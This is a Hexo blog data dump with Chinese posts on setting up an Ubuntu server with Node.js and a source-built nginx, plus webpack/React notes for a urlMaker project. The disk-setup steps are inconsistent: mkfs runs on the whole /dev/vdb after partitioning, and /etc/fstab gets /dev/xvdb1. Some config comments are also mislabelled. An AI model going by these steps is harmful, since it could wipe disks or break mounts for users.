id=\"async-和-sync\"><a href=\"#async-和-sync\" class=\"headerlink\" title=\"async 和 sync\"></a>async 和 sync</h3><h3 id=\"总结\"><a href=\"#总结\" class=\"headerlink\" title=\"总结\"></a>总结</h3><ul>\n<li>一句话：可以改变程序正常执行顺序的就称为异步</li>\n</ul>\n"},{"title":"ubuntu下搭建一个nodejs+nginx+mongodb服务器","date":"2017-12-27T03:53:22.000Z","_content":"\n## ubuntu 使用方法\n```\n首先输入fdisk -l命令后,发现/dev/vdb，说明实例含有数据盘，需要挂载\n\n运行fdisk /dev/vdb，对数据盘进行分区，依次输入n,p,1，然后按两次回车，最后输入wq，进行分区\n\n分区完成之后运行fdisk -l命令，查看新的分区。可以看到新的分区vdb1已经创建好了。\n\n运行mkfs.ext3 /dev/vdb,对新分区进行格式化。\n\n格式化完成之后运行echo /dev/xvdb1 /mnt ext3 defaults 0 0 >> /etc/fstab (这是一条命令)写入分区信息。\n\n完成之后运行 cat /etc/fstab 可以进行查看\n\n运行mount /dev/vdb1 /mnt 挂载新分区，然后执行df -h 查看分区，如果出现数据盘信息，说明挂载成功，就可以开始使用新分区\n\n作者：wuyumumu\n链接：https://www.jianshu.com/p/8fb738cd8672\n來源：简书\n著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。\n```\n\n## nodejs 安装\n```\nsudo apt-get update\n\nsudo apt-get install nodejs\n\nsudo apt-get install npm\n```\n> 特别注意：Ubuntu中可执行的名字是 nodejs 而不是node\n\n### 额外工具 n\n一款管理nodejs版本的工具\n```\n升级node.js到最新稳定版\n\nn stable\n\n升级node.js到最新版\n\nn latest\n```\n\n## 安装Nginx\n```\n安装gcc g++的依赖库\napt-get install build-essential\napt-get install libtool\n\n安装 pcre依赖库\nsudo apt-get update\nsudo apt-get install libpcre3 libpcre3-dev\n\n安装 zlib依赖库\napt-get install zlib1g-dev\n\n安装 ssl依赖库\napt-get install openssl\n\n安装Nginx（http://nginx.org）\n#下载最新版本：\nwget http://nginx.org/download/nginx-1.13.4.tar.gz（根据官网查看最新版本下载对应版本）\n\n#解压：\ntar -zxvf nginx-1.13.4.tar.gz\n\n#进入解压目录：\ncd nginx-1.13.4\n\n#配置：\n./configure --prefix=/usr/local/nginx \n\n#编辑nginx：\nmake\n\n#安装nginx：\nsudo make install\n\n#启动nginx：\n先切到根目录cd /\nsudo /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf\n\n#查看nginx进程：\nps -ef|grep nginx \n\n#查看nginx版本(根目录下执行)\nusr/local/nginx/sbin/nginx   -v\n\n```\n\n测试nginx安装成功\nwget http://127.0.0.1 （会下载一个默认的html文件，直接ls查看当前目录可看到）","source":"_posts/ubuntu下搭建一个nodejs-nginx-mongodb服务器.md","raw":"---\ntitle: ubuntu下搭建一个nodejs+nginx+mongodb服务器\ndate: 2017-12-27 11:53:22\ntags: [nodejs, ubuntu]\ncategories: 服务器\n---\n\n## ubuntu 使用方法\n```\n首先输入fdisk -l命令后,发现/dev/vdb，说明实例含有数据盘，需要挂载\n\n运行fdisk /dev/vdb，对数据盘进行分区，依次输入n,p,1，然后按两次回车，最后输入wq，进行分区\n\n分区完成之后运行fdisk -l命令，查看新的分区。可以看到新的分区vdb1已经创建好了。\n\n运行mkfs.ext3 /dev/vdb,对新分区进行格式化。\n\n格式化完成之后运行echo /dev/xvdb1 /mnt ext3 defaults 0 0 >> /etc/fstab (这是一条命令)写入分区信息。\n\n完成之后运行 cat /etc/fstab 可以进行查看\n\n运行mount /dev/vdb1 /mnt 挂载新分区，然后执行df -h 查看分区，如果出现数据盘信息，说明挂载成功，就可以开始使用新分区\n\n作者：wuyumumu\n链接：https://www.jianshu.com/p/8fb738cd8672\n來源：简书\n著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。\n```\n\n## nodejs 安装\n```\nsudo apt-get update\n\nsudo apt-get install nodejs\n\nsudo apt-get install npm\n```\n> 特别注意：Ubuntu中可执行的名字是 nodejs 而不是node\n\n### 额外工具 n\n一款管理nodejs版本的工具\n```\n升级node.js到最新稳定版\n\nn stable\n\n升级node.js到最新版\n\nn latest\n```\n\n## 安装Nginx\n```\n安装gcc g++的依赖库\napt-get install build-essential\napt-get install libtool\n\n安装 pcre依赖库\nsudo apt-get update\nsudo apt-get install libpcre3 libpcre3-dev\n\n安装 zlib依赖库\napt-get install zlib1g-dev\n\n安装 ssl依赖库\napt-get install openssl\n\n安装Nginx（http://nginx.org）\n#下载最新版本：\nwget http://nginx.org/download/nginx-1.13.4.tar.gz（根据官网查看最新版本下载对应版本）\n\n#解压：\ntar -zxvf nginx-1.13.4.tar.gz\n\n#进入解压目录：\ncd nginx-1.13.4\n\n#配置：\n./configure --prefix=/usr/local/nginx \n\n#编辑nginx：\nmake\n\n#安装nginx：\nsudo make install\n\n#启动nginx：\n先切到根目录cd /\nsudo /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf\n\n#查看nginx进程：\nps -ef|grep nginx \n\n#查看nginx版本(根目录下执行)\nusr/local/nginx/sbin/nginx   -v\n\n```\n\n测试nginx安装成功\nwget http://127.0.0.1 （会下载一个默认的html文件，直接ls查看当前目录可看到）","slug":"ubuntu下搭建一个nodejs-nginx-mongodb服务器","published":1,"updated":"2018-01-22T06:20:07.214Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5p0020vzqhuvz7nsdh","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h2 id=\"ubuntu-使用方法\"><a href=\"#ubuntu-使用方法\" class=\"headerlink\" title=\"ubuntu 使用方法\"></a>ubuntu 使用方法</h2><pre><code>首先输入fdisk -l命令后,发现/dev/vdb，说明实例含有数据盘，需要挂载\n\n运行fdisk /dev/vdb，对数据盘进行分区，依次输入n,p,1，然后按两次回车，最后输入wq，进行分区\n\n分区完成之后运行fdisk -l命令，查看新的分区。可以看到新的分区vdb1已经创建好了。\n\n运行mkfs.ext3 /dev/vdb,对新分区进行格式化。\n\n格式化完成之后运行echo /dev/xvdb1 /mnt ext3 defaults 0 0 &gt;&gt; /etc/fstab (这是一条命令)写入分区信息。\n\n完成之后运行 cat /etc/fstab 可以进行查看\n\n运行mount /dev/vdb1 /mnt 挂载新分区，然后执行df -h 查看分区，如果出现数据盘信息，说明挂载成功，就可以开始使用新分区\n\n作者：wuyumumu\n链接：https://www.jianshu.com/p/8fb738cd8672\n來源：简书\n著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。\n</code></pre><h2 id=\"nodejs-安装\"><a href=\"#nodejs-安装\" class=\"headerlink\" title=\"nodejs 安装\"></a>nodejs 安装</h2><pre><code>sudo apt-get update\n\nsudo apt-get install nodejs\n\nsudo apt-get install npm\n</code></pre><blockquote>\n<p>特别注意：Ubuntu中可执行的名字是 nodejs 而不是node</p>\n</blockquote>\n<h3 id=\"额外工具-n\"><a href=\"#额外工具-n\" class=\"headerlink\" title=\"额外工具 n\"></a>额外工具 n</h3><p>一款管理nodejs版本的工具</p>\n<pre><code>升级node.js到最新稳定版\n\nn stable\n\n升级node.js到最新版\n\nn latest\n</code></pre><h2 id=\"安装Nginx\"><a href=\"#安装Nginx\" class=\"headerlink\" title=\"安装Nginx\"></a>安装Nginx</h2><pre><code>安装gcc g++的依赖库\napt-get install build-essential\napt-get install libtool\n\n安装 pcre依赖库\nsudo apt-get update\nsudo apt-get install libpcre3 libpcre3-dev\n\n安装 zlib依赖库\napt-get install zlib1g-dev\n\n安装 ssl依赖库\napt-get install openssl\n\n安装Nginx（http://nginx.org）\n#下载最新版本：\nwget http://nginx.org/download/nginx-1.13.4.tar.gz（根据官网查看最新版本下载对应版本）\n\n#解压：\ntar -zxvf nginx-1.13.4.tar.gz\n\n#进入解压目录：\ncd nginx-1.13.4\n\n#配置：\n./configure --prefix=/usr/local/nginx \n\n#编辑nginx：\nmake\n\n#安装nginx：\nsudo make install\n\n#启动nginx：\n先切到根目录cd /\nsudo /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf\n\n#查看nginx进程：\nps -ef|grep nginx \n\n#查看nginx版本(根目录下执行)\nusr/local/nginx/sbin/nginx   -v\n\n</code></pre><p>测试nginx安装成功<br>wget <a href=\"http://127.0.0.1\" target=\"_blank\" rel=\"noopener\">http://127.0.0.1</a> （会下载一个默认的html文件，直接ls查看当前目录可看到）</p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h2 id=\"ubuntu-使用方法\"><a href=\"#ubuntu-使用方法\" class=\"headerlink\" title=\"ubuntu 使用方法\"></a>ubuntu 使用方法</h2><pre><code>首先输入fdisk -l命令后,发现/dev/vdb，说明实例含有数据盘，需要挂载\n\n运行fdisk /dev/vdb，对数据盘进行分区，依次输入n,p,1，然后按两次回车，最后输入wq，进行分区\n\n分区完成之后运行fdisk -l命令，查看新的分区。可以看到新的分区vdb1已经创建好了。\n\n运行mkfs.ext3 /dev/vdb,对新分区进行格式化。\n\n格式化完成之后运行echo /dev/xvdb1 /mnt ext3 defaults 0 0 &gt;&gt; /etc/fstab (这是一条命令)写入分区信息。\n\n完成之后运行 cat /etc/fstab 可以进行查看\n\n运行mount /dev/vdb1 /mnt 挂载新分区，然后执行df -h 查看分区，如果出现数据盘信息，说明挂载成功，就可以开始使用新分区\n\n作者：wuyumumu\n链接：https://www.jianshu.com/p/8fb738cd8672\n來源：简书\n著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。\n</code></pre><h2 id=\"nodejs-安装\"><a href=\"#nodejs-安装\" class=\"headerlink\" title=\"nodejs 安装\"></a>nodejs 安装</h2><pre><code>sudo apt-get update\n\nsudo apt-get install nodejs\n\nsudo apt-get install npm\n</code></pre><blockquote>\n<p>特别注意：Ubuntu中可执行的名字是 nodejs 而不是node</p>\n</blockquote>\n<h3 id=\"额外工具-n\"><a href=\"#额外工具-n\" class=\"headerlink\" title=\"额外工具 n\"></a>额外工具 n</h3><p>一款管理nodejs版本的工具</p>\n<pre><code>升级node.js到最新稳定版\n\nn stable\n\n升级node.js到最新版\n\nn latest\n</code></pre><h2 id=\"安装Nginx\"><a href=\"#安装Nginx\" class=\"headerlink\" title=\"安装Nginx\"></a>安装Nginx</h2><pre><code>安装gcc g++的依赖库\napt-get install build-essential\napt-get install libtool\n\n安装 pcre依赖库\nsudo apt-get update\nsudo apt-get install libpcre3 libpcre3-dev\n\n安装 zlib依赖库\napt-get install zlib1g-dev\n\n安装 ssl依赖库\napt-get install openssl\n\n安装Nginx（http://nginx.org）\n#下载最新版本：\nwget http://nginx.org/download/nginx-1.13.4.tar.gz（根据官网查看最新版本下载对应版本）\n\n#解压：\ntar -zxvf nginx-1.13.4.tar.gz\n\n#进入解压目录：\ncd nginx-1.13.4\n\n#配置：\n./configure --prefix=/usr/local/nginx \n\n#编辑nginx：\nmake\n\n#安装nginx：\nsudo make install\n\n#启动nginx：\n先切到根目录cd /\nsudo /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf\n\n#查看nginx进程：\nps -ef|grep nginx \n\n#查看nginx版本(根目录下执行)\nusr/local/nginx/sbin/nginx   -v\n\n</code></pre><p>测试nginx安装成功<br>wget <a href=\"http://127.0.0.1\" target=\"_blank\" rel=\"noopener\">http://127.0.0.1</a> （会下载一个默认的html文件，直接ls查看当前目录可看到）</p>\n"},{"title":"urlMaker","date":"2017-12-18T08:38:42.000Z","_content":"\n# urlMaker 开发流程\n\n## 项目需求\n* 对 url 链接中的汉字和参数进行替换\n\n## 技术栈\n\n* 框架：react\n> 注意：路由用的是4.0版\n\n* 打包工具：webpack2.0\n* 代码：es6\n* 规范：ESlint\n\n## 前期准备\n* 由于之前的项目中都用的是 gulp 打包，所以 webpack 是个大坑，由于没有怎么深入了解，所以对其中的一些配置有点茫然，想起之前用过 vue-cli，里面有 webpack 的配置，然后，就没有然后了......\n* 百度是个好东西，寻找了一系列文章，个人认为简书上的《入门webpack，看这篇就够了》足矣满足大多数需求，很感谢作者的良苦用心。点赞！\n\n## 环境配置\n\n### webpack 核心模块\n#### entry\n项目唯一入口\n>这里发现一个问题，就是当我打包时全部 js 在同一个文件中，文件太大了，性能体验上是非常可怕的，反正我觉得如果2g网浏览是GG了的。处理的方式是: 给入口添加一个 vendor，将依赖库写入这个 vendor 中,如果觉得依赖包太大可以写成 vendor1，vendor2.\n\n#### output\n项目输出文件夹 \n> [name].[hash:8].js\n\n#### module\nhtml,js,css,img 处理组件\n* css-loader\n* babel-loader\n* url-loader\n* style-loader\n* postcss-loader\n\n#### plugins\n其他优化插件,该处只介绍 webpack 自带的一些插件库\n* webpack.BannerPlugin\n> 给打包文件添加一个banner\n\n* webpack.optimize.UglifyJsPlugin\n> 压缩 js\n\n* webpack.optimize.OccurrenceOrderPlugin\n> 添加唯一 ID\n\n### webpack 推荐模块\n#### webpack-dev-server\n\n热加载插件，在 script 中的命令参数：\n> --devtool eval:为你的代码创建源地址。当有任何报错的时候可以让你更加精确地定位到文件和行号\n> --progress: 显示合并代码进度\n> --colors: 在命令行中显示颜色\n> --content-base build: 指向设置的输出目录\n> --hot: 注意在 config 文件中如果已经new plugin，就不要hot了，二选一。\n\n#### html-webpack-plugin \n\n根据预先的模板实例化一个html\n```\nnew HtmlWebpackPlugin({\n        title: '',\n        template: __dirname + \"/src/index.html\",\n        minify: {\n            \"removeAttributeQuotes\": true,      //  移除注释\n            \"removeComments\": true,             //  移除空格\n            \"removeEmptyAttributes\": true,      //  移除空白行\n        },\n        chunks: ['index', 'vendors'],   // 配置该html文件要添加的模块\n        // inject: 'body'\n    })\n```\n\n#### clean-webpack-plugin\n删除 webpack 缓存插件\n```\nnew CleanWebpackPlugin('build/', {          //  清除缓存文件\n        root: __dirname,\n        verbose: true,\n        dry: false\n    })\n```\n\n#### extract-text-webpack-plugin\n将 css 抽离出 js\n```\ntest: /\\.css$/,\nuse: ExtractTextPlugin.extract({\n    fallback: \"style-loader\",               // 提取 css 文件\n    use: [{                                 // 编译文件\n            loader: \"css-loader\",\n            options: {\n                // modules: true,              // 组件化\n                minimize: true              // 压缩\n            }\n        }, {\n            loader: \"postcss-loader\"     // 将 css 添加前缀\n        }\n    ]\n})\n```\n\n#### friendly-errors-webpack-plugin\n友好的错误提示插件\n\n### package.json 配置\n\n#### 依赖包\n1. autoprefixer(需要和 postcss-loader 一起使用)\n> 补全 css 前缀\n\n2. babel 合集\n```\nbabel-core\nbabel-loader\nbabel-plugin-react-transform\nbabel-preset-env\nbabel-preset-react\n```\n\n3. react-transform-catch-errors、redbox-react\n> react 报错插件\n\n4. copy-to-clipboard\n> 点击复制到剪贴板插件\n\n## 项目挖坑大全\n### 关于 react-router-dom（我只能说，我的心好痛，调了3天没找到问题）\n* 引入和使用\n```\nimport { HashRouter as Router, Route, Link } from 'react-router-dom'\n\nReactDOM.render(\n  <Router>\n    <App>\n          <Route path=\"/\" exact component={Home} />\n          <Route path=\"/goods\" component={Goods} />\n          <Route path=\"/detail\" component={Detail} />\n          <Route path=\"/active\" component={Active} />\n    </App>\n  </Router>  \n  ,\n  document.getElementById('app')\n)\n\n在父级 APP 中记得加入 this.props.children\n```\n> 路由渲染不要带着DOM一起渲染，如果可以将 router 单独作为一个组件处理，本例稍简单，并未分离出去\n\n### 关于图片打包\n神坑啊！设置的时候是将 8K 以内的图片打包后转为 base64，所以并看不到 img 文件夹生成。。。而我判断打包成功的标准就是是否生成 img 文件夹","source":"_posts/urlMaker.md","raw":"---\ntitle: urlMaker\ndate: 2017-12-18 16:38:42\ntags: [react, webpack]\ncategories: web项目\n---\n\n# urlMaker 开发流程\n\n## 项目需求\n* 对 url 链接中的汉字和参数进行替换\n\n## 技术栈\n\n* 框架：react\n> 注意：路由用的是4.0版\n\n* 打包工具：webpack2.0\n* 代码：es6\n* 规范：ESlint\n\n## 前期准备\n* 由于之前的项目中都用的是 gulp 打包，所以 webpack 是个大坑，由于没有怎么深入了解，所以对其中的一些配置有点茫然，想起之前用过 vue-cli，里面有 webpack 的配置，然后，就没有然后了......\n* 百度是个好东西，寻找了一系列文章，个人认为简书上的《入门webpack，看这篇就够了》足矣满足大多数需求，很感谢作者的良苦用心。点赞！\n\n## 环境配置\n\n### webpack 核心模块\n#### entry\n项目唯一入口\n>这里发现一个问题，就是当我打包时全部 js 在同一个文件中，文件太大了，性能体验上是非常可怕的，反正我觉得如果2g网浏览是GG了的。处理的方式是: 给入口添加一个 vendor，将依赖库写入这个 vendor 中,如果觉得依赖包太大可以写成 vendor1，vendor2.\n\n#### output\n项目输出文件夹 \n> [name].[hash:8].js\n\n#### module\nhtml,js,css,img 处理组件\n* css-loader\n* babel-loader\n* url-loader\n* style-loader\n* postcss-loader\n\n#### plugins\n其他优化插件,该处只介绍 webpack 自带的一些插件库\n* webpack.BannerPlugin\n> 给打包文件添加一个banner\n\n* webpack.optimize.UglifyJsPlugin\n> 压缩 js\n\n* webpack.optimize.OccurrenceOrderPlugin\n> 添加唯一 ID\n\n### webpack 推荐模块\n#### webpack-dev-server\n\n热加载插件，在 script 中的命令参数：\n> --devtool eval:为你的代码创建源地址。当有任何报错的时候可以让你更加精确地定位到文件和行号\n> --progress: 显示合并代码进度\n> --colors: 在命令行中显示颜色\n> --content-base build: 指向设置的输出目录\n> --hot: 注意在 config 文件中如果已经new plugin，就不要hot了，二选一。\n\n#### html-webpack-plugin \n\n根据预先的模板实例化一个html\n```\nnew HtmlWebpackPlugin({\n        title: '',\n        template: __dirname + \"/src/index.html\",\n        minify: {\n            \"removeAttributeQuotes\": true,      //  移除注释\n            \"removeComments\": true,             //  移除空格\n            \"removeEmptyAttributes\": true,      //  移除空白行\n        },\n        chunks: ['index', 'vendors'],   // 配置该html文件要添加的模块\n        // inject: 'body'\n    })\n```\n\n#### clean-webpack-plugin\n删除 webpack 缓存插件\n```\nnew CleanWebpackPlugin('build/', {          //  清除缓存文件\n        root: __dirname,\n        verbose: true,\n        dry: false\n    })\n```\n\n#### extract-text-webpack-plugin\n将 css 抽离出 js\n```\ntest: /\\.css$/,\nuse: ExtractTextPlugin.extract({\n    fallback: \"style-loader\",               // 提取 css 文件\n    use: [{                                 // 编译文件\n            loader: \"css-loader\",\n            options: {\n                // modules: true,              // 组件化\n                minimize: true              // 压缩\n            }\n        }, {\n            loader: \"postcss-loader\"     // 将 css 添加前缀\n        }\n    ]\n})\n```\n\n#### friendly-errors-webpack-plugin\n友好的错误提示插件\n\n### package.json 配置\n\n#### 依赖包\n1. autoprefixer(需要和 postcss-loader 一起使用)\n> 补全 css 前缀\n\n2. babel 合集\n```\nbabel-core\nbabel-loader\nbabel-plugin-react-transform\nbabel-preset-env\nbabel-preset-react\n```\n\n3. react-transform-catch-errors、redbox-react\n> react 报错插件\n\n4. copy-to-clipboard\n> 点击复制到剪贴板插件\n\n## 项目挖坑大全\n### 关于 react-router-dom（我只能说，我的心好痛，调了3天没找到问题）\n* 引入和使用\n```\nimport { HashRouter as Router, Route, Link } from 'react-router-dom'\n\nReactDOM.render(\n  <Router>\n    <App>\n          <Route path=\"/\" exact component={Home} />\n          <Route path=\"/goods\" component={Goods} />\n          <Route path=\"/detail\" component={Detail} />\n          <Route path=\"/active\" component={Active} />\n    </App>\n  </Router>  \n  ,\n  document.getElementById('app')\n)\n\n在父级 APP 中记得加入 this.props.children\n```\n> 路由渲染不要带着DOM一起渲染，如果可以将 router 单独作为一个组件处理，本例稍简单，并未分离出去\n\n### 关于图片打包\n神坑啊！设置的时候是将 8K 以内的图片打包后转为 base64，所以并看不到 img 文件夹生成。。。而我判断打包成功的标准就是是否生成 img 文件夹","slug":"urlMaker","published":1,"updated":"2018-01-22T06:07:28.508Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5q0022vzqh66naoyrb","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h1 id=\"urlMaker-开发流程\"><a href=\"#urlMaker-开发流程\" class=\"headerlink\" title=\"urlMaker 开发流程\"></a>urlMaker 开发流程</h1><h2 id=\"项目需求\"><a href=\"#项目需求\" class=\"headerlink\" title=\"项目需求\"></a>项目需求</h2><ul>\n<li>对 url 链接中的汉字和参数进行替换</li>\n</ul>\n<h2 id=\"技术栈\"><a href=\"#技术栈\" class=\"headerlink\" title=\"技术栈\"></a>技术栈</h2><ul>\n<li><p>框架：react</p>\n<blockquote>\n<p>注意：路由用的是4.0版</p>\n</blockquote>\n</li>\n<li><p>打包工具：webpack2.0</p>\n</li>\n<li>代码：es6</li>\n<li>规范：ESlint</li>\n</ul>\n<h2 id=\"前期准备\"><a href=\"#前期准备\" class=\"headerlink\" title=\"前期准备\"></a>前期准备</h2><ul>\n<li>由于之前的项目中都用的是 gulp 打包，所以 webpack 是个大坑，由于没有怎么深入了解，所以对其中的一些配置有点茫然，想起之前用过 vue-cli，里面有 webpack 的配置，然后，就没有然后了……</li>\n<li>百度是个好东西，寻找了一系列文章，个人认为简书上的《入门webpack，看这篇就够了》足矣满足大多数需求，很感谢作者的良苦用心。点赞！</li>\n</ul>\n<h2 id=\"环境配置\"><a href=\"#环境配置\" class=\"headerlink\" title=\"环境配置\"></a>环境配置</h2><h3 id=\"webpack-核心模块\"><a href=\"#webpack-核心模块\" class=\"headerlink\" title=\"webpack 核心模块\"></a>webpack 核心模块</h3><h4 id=\"entry\"><a href=\"#entry\" class=\"headerlink\" title=\"entry\"></a>entry</h4><p>项目唯一入口</p>\n<blockquote>\n<p>这里发现一个问题，就是当我打包时全部 js 在同一个文件中，文件太大了，性能体验上是非常可怕的，反正我觉得如果2g网浏览是GG了的。处理的方式是: 给入口添加一个 vendor，将依赖库写入这个 vendor 中,如果觉得依赖包太大可以写成 vendor1，vendor2.</p>\n</blockquote>\n<h4 id=\"output\"><a href=\"#output\" class=\"headerlink\" title=\"output\"></a>output</h4><p>项目输出文件夹 </p>\n<blockquote>\n<p>[name].[hash:8].js</p>\n</blockquote>\n<h4 id=\"module\"><a href=\"#module\" class=\"headerlink\" title=\"module\"></a>module</h4><p>html,js,css,img 处理组件</p>\n<ul>\n<li>css-loader</li>\n<li>babel-loader</li>\n<li>url-loader</li>\n<li>style-loader</li>\n<li>postcss-loader</li>\n</ul>\n<h4 id=\"plugins\"><a href=\"#plugins\" class=\"headerlink\" title=\"plugins\"></a>plugins</h4><p>其他优化插件,该处只介绍 webpack 自带的一些插件库</p>\n<ul>\n<li><p>webpack.BannerPlugin</p>\n<blockquote>\n<p>给打包文件添加一个banner</p>\n</blockquote>\n</li>\n<li><p>webpack.optimize.UglifyJsPlugin</p>\n<blockquote>\n<p>压缩 js</p>\n</blockquote>\n</li>\n<li><p>webpack.optimize.OccurrenceOrderPlugin</p>\n<blockquote>\n<p>添加唯一 ID</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"webpack-推荐模块\"><a href=\"#webpack-推荐模块\" class=\"headerlink\" title=\"webpack 推荐模块\"></a>webpack 推荐模块</h3><h4 id=\"webpack-dev-server\"><a href=\"#webpack-dev-server\" class=\"headerlink\" title=\"webpack-dev-server\"></a>webpack-dev-server</h4><p>热加载插件，在 script 中的命令参数：</p>\n<blockquote>\n<p>–devtool eval:为你的代码创建源地址。当有任何报错的时候可以让你更加精确地定位到文件和行号<br>–progress: 显示合并代码进度<br>–colors: 在命令行中显示颜色<br>–content-base build: 指向设置的输出目录<br>–hot: 注意在 config 文件中如果已经new plugin，就不要hot了，二选一。</p>\n</blockquote>\n<h4 id=\"html-webpack-plugin\"><a href=\"#html-webpack-plugin\" class=\"headerlink\" title=\"html-webpack-plugin\"></a>html-webpack-plugin</h4><p>根据预先的模板实例化一个html</p>\n<pre><code>new HtmlWebpackPlugin({\n        title: &#39;&#39;,\n        template: __dirname + &quot;/src/index.html&quot;,\n        minify: {\n            &quot;removeAttributeQuotes&quot;: true,      //  移除注释\n            &quot;removeComments&quot;: true,             //  移除空格\n            &quot;removeEmptyAttributes&quot;: true,      //  移除空白行\n        },\n        chunks: [&#39;index&#39;, &#39;vendors&#39;],   // 配置该html文件要添加的模块\n        // inject: &#39;body&#39;\n    })\n</code></pre><h4 id=\"clean-webpack-plugin\"><a href=\"#clean-webpack-plugin\" class=\"headerlink\" title=\"clean-webpack-plugin\"></a>clean-webpack-plugin</h4><p>删除 webpack 缓存插件</p>\n<pre><code>new CleanWebpackPlugin(&#39;build/&#39;, {          //  清除缓存文件\n        root: __dirname,\n        verbose: true,\n        dry: false\n    })\n</code></pre><h4 id=\"extract-text-webpack-plugin\"><a href=\"#extract-text-webpack-plugin\" class=\"headerlink\" 